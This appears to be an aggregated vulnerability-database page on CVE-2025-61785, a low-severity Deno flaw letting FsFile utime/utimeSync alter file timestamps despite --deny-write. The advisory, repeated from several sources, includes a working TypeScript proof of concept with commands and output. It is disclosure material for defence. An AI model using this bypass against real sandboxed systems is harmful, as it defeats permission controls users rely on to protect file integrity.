CVE-2025-61785
Deno's --deny-write check does not prevent permission bypass
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.3
Deno's --deny-write check does not prevent permission bypass
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
- Record
CVE-2025-61785- CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-266
- Updated
- 2026-11-02
EUVDEUVD-2025-31878
3.3
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
- Record
EUVD-2025-31878- CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vg2r-rmgp-cgqj
3.3
Deno's --deny-write check does not prevent permission bypass
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new…
- Record
GHSA-vg2r-rmgp-cgqj- CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-266
- Updated
- 2026-11-02
NVD
3.3
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
- Record
CVE-2025-61785- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-266
- Updated
- 2026-11-02
OSV
3.3
Deno's --deny-write check does not prevent permission bypass
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
- Record
CVE-2025-61785- CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-266
- Updated
- 2026-11-02
OSVGHSA-vg2r-rmgp-cgqj
3.3
Deno's --deny-write check does not prevent permission bypass
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new…
- Record
GHSA-vg2r-rmgp-cgqj- CVSS 3.0
- 3.3 Low
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-266
- Updated
- 2026-11-02
OSVJLSEC-2026-111
3.3
Deno's --deny-write check does not prevent permission bypass
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"),…
- Record
JLSEC-2026-111- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-61785 is a low vulnerability (CVSS 3.3) in Deno, published October 7, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. Fixed in deno 2.5.3.
References
github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj
github.com/denoland/deno/pull/30872
github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b
github.com/denoland/deno/releases/tag/v2.2.15
github.com/denoland/deno/releases/tag/v2.5.3
nvd.nist.gov/vuln/detail/CVE-2025-61785
github.com/advisories/GHSA-vg2r-rmgp-cgqj
github.com/CVEProject/cvelistV5/tree/main/cves/2025/61xxx/CVE-2025-61785.json
github.com/denoland/deno
Left out here: the rest of 3 source descriptions. The JSON record has them.